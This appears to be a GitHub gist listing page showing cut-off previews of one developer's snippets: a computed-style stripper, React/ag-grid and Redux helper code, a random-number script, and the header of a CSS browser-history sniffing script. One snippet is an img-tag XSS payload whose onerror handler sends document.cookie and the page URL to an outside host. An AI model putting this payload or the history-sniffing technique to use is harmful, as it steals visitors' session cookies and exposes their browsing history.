Design by Givi Dautashvili: https://dribbble.com/shots/6350564-Accessories
A Pen by Evgeny Timoshenko on CodePen.
Design by Givi Dautashvili: https://dribbble.com/shots/6350564-Accessories
A Pen by Evgeny Timoshenko on CodePen.
function stripper(el) { | |
function _stripper(el,pseudo) { | |
var q=window.getComputedStyle($0, pseudo) | |
var t=document.createElement($0.tagName) | |
document.body.appendChild(t); | |
var tt=window.getComputedStyle(t, pseudo); | |
var r=''; | |
for (var i=0;i<q.length;++i) { | |
if (q[i] && q[q[i]] !== tt[q[i]]) | |
r += `${q[i]}: ${q[q[i]]};\n`; |
/* | |
* css history knocker (determine what sites your visitors have been to) | |
* | |
* originally by Jeremiah Grossman | |
* http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html | |
* | |
* ported to additional browsers by Samy Kamkar | |
* | |
* compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock | |
* |
import React, { Component } from "react"; | |
import ReactDOM from "react-dom"; | |
import { AgGridReact } from "ag-grid-react"; | |
import "ag-grid/dist/styles/ag-grid.css"; | |
import "ag-grid/dist/styles/ag-theme-balham.css"; | |
import "./styles.css"; | |
class GridExample extends Component { |
<img width="0" height="0" src="" onerror='this.src="http://evgeny.site/p?qookie="+encodeURIComponent(document.cookie)+"&href="+encodeURIComponent(document.location.href);this.onerror=null;' /> |
<script src="https://unpkg.com/react@16.0.0/umd/react.development.js"></script> | |
<script src="https://unpkg.com/react-dom@16.0.0/umd/react-dom.development.js"></script> | |
<script src="https://unpkg.com/create-react-class@15.6.2/create-react-class.min.js"></script> | |
<script src="https://unpkg.com/lodash@4.17.4/lodash.min.js"></script> | |
var F=()=>Math.floor(Math.random()*10**8+10**8);var n=1000000;console.log(n);for(var i=0;i<n;++i){console.log(F(), F())} |
dux(introduce => { | |
introduce('requestStarted', | |
_.noop, | |
(state, action) => ({ ...state, requestInProgress: true })); | |
introduce('requestErrored', | |
(message) => ({ message }), | |
(state, action) => ({ | |
...state, | |
lastError: action.message, |
let { reducer, actions } = dux({ | |
requestStarted: _.noop, | |
requestStoped: _.noop, | |
requestErrored: (message) => ({ message }), | |
}, { | |
requestStarted: (state, action) => ({ ...state, requestInProgress: true }), | |
requestStoped: (state, action) => ({ ...state, requestInProgress: false }), | |
requestErrored: (state, action) => ({ | |
...state, | |
lastError: action.message, |
const requestStarted = () => ({ type: 'REQUEST_STARTED' }); | |
const requestStoped = () => ({ type: 'REQUEST_STOPPED' }); | |
const requestErrored = (message) => ({ type: 'REQUEST_ERRORED', message }); | |
const reducers = (state, action) => { | |
switch (action.type) { | |
case 'REQUEST_STARTED': | |
return { ...state, requestInProgress: true }; | |
case 'REQUEST_STOPPED': | |
return { ...state, requestInProgress: false }; |